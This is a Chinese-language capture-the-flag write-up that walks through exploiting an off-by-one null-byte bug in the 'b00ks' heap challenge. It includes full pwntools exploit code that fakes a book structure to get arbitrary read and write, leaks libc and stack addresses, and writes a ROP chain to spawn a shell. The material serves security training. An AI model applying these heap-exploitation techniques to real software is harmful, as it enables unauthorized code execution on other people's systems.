参考博客:asis-ctf-2016 pwn 之 b00ks | cq674350529’s blog

题目下载链接也在参考博客里;

本题使用到的glibc版本为2.43;

分析

拿到题先checksec和ida查看:

初步查看

可以从分图4中得到开启了RELRO,NX,PIE;

分图1是这个题目的main函数,是一个菜单题,做菜单题先看delete部分,但会发现这道题的delete是正常的释放,而且把指针置为了0,不存在UAF漏洞;

进一步查看可以发现在entername函数(分图2)中,使用了offbynull函数作为作者名称的输入,进入offbynull函数(分图3)查看, 可以发现这个写名称的过程有offbyone的漏洞,即当名称长度为32时,第33字节会被覆盖为0x00字节;

进一步分析aname全局变量会覆盖到的后位是什么,并分析new和delete操控的数据结构:

进一步分析

从分图1能看到作者姓名后面的变量则是new和delete操控的Array变量存放的地方;

根据分析各个功能函数,能够构造出分图2中的数据结构,这正是Array数组每个成员的数据结构类型,分图3是new函数,虽然new中在写description时使用了offbynull函数,但使用的写入大小是size-1,所以00字节不能溢出覆盖,这里不存在offbynull漏洞利用;

这道题并没有自带system函数和binsh字符串,这说明我们需要分析libc;

如何确定libc版本呢?很简单,调试起来以后,去看文件的got表项,多找几个从libc导出函数的地址,拿最低位去找libc版本的网站上比对即可,这里我使用的是2.43版本,也就是我虚拟机上的版本;

分析到此为止,接下来可以想一想利用思路了,其他功能函数的分析就不展开说了,有兴趣的可以下载题目自己看看;

思路

利用offbyone漏洞能做些什么呢?

第一:可以在第一次写入名称时,写满32字节,00字节覆盖到array处,这样在new一个array[0]时,00字节被覆盖,我们使用show函数时可以泄露出array[0]的地址,也就是堆上的地址;

第二:在new了以后进行改名覆盖,可以把array[0]处的堆地址的最低位覆盖为00字节;

那么我们再结合地址重合的思路进行思考,既然在uaf中,我们会把堆内存空间伪造为结构体或是堆块的结构,使用已释放的指针利用这个结构体来进行漏洞利用,这里行不行呢?

第二条就决定了我们其实可以这么做:我们把一个块中写入的内容伪造为book结构体,这个块的特点是其地址最低位是00字节,那么此时当我执行第二条利用方法时,array[0]处的内容就变成了我们伪造的book结构,进而利用伪造的book。通过这个方法,使用show可以任意地址读,使用edit可以任意地址写;

有了任意地址写这个功能,就可以考虑hook函数来执行system;

所以做堆题一开始没思路的时候,可以先往地址重合去思考,往实现读写功能去思考;

先给出定义的exp脚本函数,以方便后续编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
p = process('./b00ks')

def create(bs, bn, ds, d):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter book name size: ', bs)
p.sendlineafter(b'Enter book name (Max 32 chars): ', bn)
p.sendlineafter(b'Enter book description size: ', ds)
p.sendlineafter(b'Enter book description: ', d)

def edit(ids, d):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter the book id you want to edit: ', ids)
p.sendlineafter(b'Enter new book description: ', d)

def show():
p.sendlineafter(b'> ', b'4')

def delete(ids):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the book id you want to delete: ', ids)

def changename(n):
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'Enter author name: ', n)

name = b'a' * 32
p.sendlineafter(b'Enter author name: ', name)
#此时进入菜单

实现任意地址读写

通过思考,我们的首要目标就是构造fake_book到array[0]的位置;

这个fake_book块我们选谁呢,当然是description。原因是虽然bookname和description的长度大小都由我们指定,但只有description的内容可以通过edit更改,权力更大;

同时还要思考一个问题,让fake_book地址坐落于低位为00字节,比如我们正常分配堆,给到的堆块地址都是从小到大,举个例子:

根据这道题的new逻辑,一次new得到三个堆块,如果我name和description的大小都是0x10,那么给到我的三个堆地址分别如下:

malloc返回地址 表示内容 总大小 分配大小
0x5010 bookname 0x20 0x10
0x5030 description 0x20 0x10
0x5050 book_struct 0x30 0x20

当我们使用offbyone覆盖最低位,会使得地址变成0x5000,我们是没办法分配fake_book于0x5010之前的;

所以我们肯定选择的是下一个低位00的位置,也就是让fake_book置于0x5100;

那么此时在array[0]位置的地址就不应该是 0x50xx 的地址,而是 0x51xx 的地址;

所以我们就有先new,再delete,再new的思路,让后面的块放到array[0]的位置;

同时注意,book_struct分配的逻辑是固定0x20大小;

有exp代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#start
create(b'16',b'bbbb',b'16',b'bbbb')
show()
res = p.recvuntil(b'\n\n1. Create a book')
res = res[-(18 + 6):-18]
book1 = int.from_bytes(res, byteorder='little', signed=False)
heap = book1 - 0x1060
print('heap: '+ hex(heap))

fake_book = p64(11) + p64(book1+0x30) + p64(book1+8) + p64(0x30)
create(b'96',b'secondbc',b'48',fake_book)
create(b'16',b'bbbb',b'16',b'bbbb')
delete(b'1')
delete(b'3')
create(b'16',b'bbbb',b'16',b'bbbb') #4
changename(name)

第一次new完再show拿到book1_struct的地址,也即是array[0]此时存放的堆地址,并通过调试可以得到与heap相对应的偏移,从而得到heap基址;

第二步,构造fake_book结构,从之前的分析来构造对应的结构体,值得说明的是,p64(book1+8),也就是第三个值,是description,这个指针,我们让它指向(book1+8)后续揭晓它的用处。并通过create(b'96',b'secondbc',b'48',fake_book) ,操控bookename的大小让book2的description坐落于0x5100这样的地址;

第三步,new一个book3,此时它的book3_struct地址肯定就是0x51xx的样式了,而非0x50xx。然后我们delete book1,再delete book3,由于book1和book3的bookname和description大小我们设置都是0x10,与book_struct的0x20大小不同,所以链接到tcache不同的位置,只有book1_struct和book3_struct相链接,不受其他堆块影响。此时tcache的链如下所示:

1
tcache 0x20: book3_struct -> book1_struct -> 0

同时记得tcache和fastbin类似,都是单链表,是头插法的链栈;

再次new,会返回book3_struct的地址作为book4的book4_struct放回array[0]的位置(因为delete会清空array[0],之后new的会重新按顺序填入,但bookid为4了),此时array[0]的位置就被顺利写入了0x51xx的样式的地址;

最后再changename,实现array[0]处的地址变成book2的description地址,我们操控array[0]时,即操控我们自定义的fake_book,这样一来就实现了任意地址读写,即edit可以改伪造的description,show可以揭示伪造的description;

泄露libc基址和主程序基址

实现这个强大的功能后就可以考虑获取两个基址了,因为程序开了PIE;

如何做呢?新知识点:通过分配大堆块,linux会使用mmap进行分配,mmap分配的地址不属于heap段,而在ida调试显示的debug001段,而debug002段处是存放了libc里面的地址的,debug001和debug002是连着的,拥有固定偏移量;

所以有如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#use mmap leak libcaddr and  programaddr
create(b'196608',b'bbbb',b'16',b'bbbb') #5
show()
leakaddr = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
leakaddr = int.from_bytes(leakaddr, byteorder='little', signed=False)
debug001 = leakaddr - 0x10
debug002 = debug001 + 0x46000
aim = 0x1b8 + debug002
fake_book = p64(11) + p64(book1+0x30) + p64(aim) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
aim = int.from_bytes(aim, byteorder='little', signed=False)
baselibc = aim - 0x211940

先new一个bookname非常大的book5,此时book5的book_struct地址其实是tcache返回的book1_struct;

而之前我们设置的book1+8,此时正是book5的bookname指针,指向的则是debug001段上的地址;

通过show就能打印出id为11的book(我们伪造的fake_book)的description,此时正是debug001段上的地址;

通过调试,得到偏移,计算出存放libc地址的地址,然后edit book2的description就能更改fake_book的description;

再次show即可泄露libc内的地址,通过调试计算偏移拿到真实的baselibc,即libc基址;

同时linux的主程序的基地址是会存放在内存里的,很变态,直接在调试时搜索对应基地址,可以发现主程序基地址其实就存放在debug002:

调试

分图1是主程序基址,分图2是搜索,分图3位于debug002段;

所以获取主程序基址exp如下:

1
2
3
4
5
6
7
aim = debug001 + 0x321E0
fake_book = p64(11) + p64(book1+0x30) + p64(aim+2) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+4):-9]
aim = int.from_bytes(aim, byteorder='little', signed=False)
base = aim << 16

调试计算出偏移后用任意地址读就行了,不过读的是字符串,所以读不到00字节,要舍弃掉最后两位来读(aim+2),最后左移16位补上就行了;

getshell

现在什么都有了,如何触发system(binsh)呢?

一般是hook free函数或者malloc函数,然后调用new或者delete来执行;

但这道题在glibc为2.43的环境下貌似不太行?

首先程序开启了relro,无法直接写got表(无权限),这就不能iat hook;

同时glibc2.43没有__free_hook,或是__malloc_hook全局变量,用不了;

但我们有强大的任意地址写,什么都挡不住我们;

新知识点:libc有一个environ符号,这个里面存放了主程序栈上的地址:

找栈地址

分图1找出environ符号的偏移;分图2是libc基址;分图3是调试中偏移处存放内容;分图4是存放内容代表的地址;

有了栈上的地址,我们就可以ROP启动了,因为relro不会保护栈,栈是可以随便写的,使用ROPgadget找libc可用的gadget,最终找到一条:

1
0x00000000001375ae : xor ebp, ebp ; pop rax ; pop rdi ; call rax

非常完美,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#exploit now
system = baselibc + 0x5C560
binsh = baselibc + 0x1DB799
#free_got = base + 0x201F78
#fake_book = p64(11) + p64(book1+0x30) + p64(free_got) + p64(0x30)
#edit(b'2', fake_book)
#edit(b'11', p64(system)) cant hijack got table -> relro
#ROP time
environ = baselibc + 0x219de8
fake_book = p64(11) + p64(book1+0x30) + p64(environ) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
environinstack = int.from_bytes(aim, byteorder='little', signed=False)
mainret = environinstack - 0x140
print('mainretn: ' + hex(mainret))
fake_book = p64(11) + p64(book1+0x30) + p64(mainret) + p64(0x30)
edit(b'2', fake_book)

poprax_poprdi_callrax = baselibc + 0x1375B0
ROP = p64(poprax_poprdi_callrax) + p64(system) + p64(binsh)

edit(b'11',ROP)

p.interactive()

首先计算出system和binsh的地址,然后根据environ获取栈地址;

获取到以后,根据调试得到environ记录的栈地址与main函数返回处的栈地址的偏移,并计算得到main返回的栈地址;

在mainret地址写入ROP链;

最后进入互动模式并退出程序,即可getshell;

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *

#glibc-2.43
p = process('./b00ks')

def create(bs, bn, ds, d):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter book name size: ', bs)
p.sendlineafter(b'Enter book name (Max 32 chars): ', bn)
p.sendlineafter(b'Enter book description size: ', ds)
p.sendlineafter(b'Enter book description: ', d)

def edit(ids, d):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter the book id you want to edit: ', ids)
p.sendlineafter(b'Enter new book description: ', d)

def show():
p.sendlineafter(b'> ', b'4')

def delete(ids):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the book id you want to delete: ', ids)

def changename(n):
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'Enter author name: ', n)

name = b'a' * 32
p.sendlineafter(b'Enter author name: ', name)

#start
create(b'16',b'bbbb',b'16',b'bbbb')
show()
res = p.recvuntil(b'\n\n1. Create a book')
res = res[-(18 + 6):-18]
book1 = int.from_bytes(res, byteorder='little', signed=False)
heap = book1 - 0x1060
print('heap: '+ hex(heap))

fake_book = p64(11) + p64(book1+0x30) + p64(book1+8) + p64(0x30)
create(b'96',b'secondbc',b'48',fake_book)
create(b'16',b'bbbb',b'16',b'bbbb')
delete(b'1')
delete(b'3')
create(b'16',b'bbbb',b'16',b'bbbb') #4
changename(name)
#any address write and read compelete
#use mmap leak libcaddr and programaddr
create(b'196608',b'bbbb',b'16',b'bbbb') #5
show()
leakaddr = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
leakaddr = int.from_bytes(leakaddr, byteorder='little', signed=False)
debug001 = leakaddr - 0x10
debug002 = debug001 + 0x46000
aim = 0x1b8 + debug002
fake_book = p64(11) + p64(book1+0x30) + p64(aim) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
aim = int.from_bytes(aim, byteorder='little', signed=False)
baselibc = aim - 0x211940
aim = debug001 + 0x321E0
fake_book = p64(11) + p64(book1+0x30) + p64(aim+2) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+4):-9]
aim = int.from_bytes(aim, byteorder='little', signed=False)
base = aim << 16
print('base: ' + hex(base))
print('baselibc: ' + hex(baselibc))
#exploit now
system = baselibc + 0x5C560
binsh = baselibc + 0x1DB799
#free_got = base + 0x201F78
#fake_book = p64(11) + p64(book1+0x30) + p64(free_got) + p64(0x30)
#edit(b'2', fake_book)
#edit(b'11', p64(system)) cant hijack got table -> relro
#ROP time
environ = baselibc + 0x219de8
fake_book = p64(11) + p64(book1+0x30) + p64(environ) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
environinstack = int.from_bytes(aim, byteorder='little', signed=False)
mainret = environinstack - 0x140
print('mainretn: ' + hex(mainret))
fake_book = p64(11) + p64(book1+0x30) + p64(mainret) + p64(0x30)
edit(b'2', fake_book)

poprax_poprdi_callrax = baselibc + 0x1375B0
ROP = p64(poprax_poprdi_callrax) + p64(system) + p64(binsh)

edit(b'11',ROP)

p.interactive()

总结

很难想到这样一个小小的1字节覆盖漏洞能够最终实现控制系统终端的功能;

这也说明了,理解offbyone和利用offbyone是两件事情;

所以需要多练习,多总结:

目前拿到堆题的思路是先看delete函数,先找漏洞点,然后把漏洞点能干的事情铺开;

之后往功能实现靠,比如思考去实现地址读写功能,再思考有无地址重合思想的运用;

最后才是思考如何触发system的调用,而不是一来就想这个问题;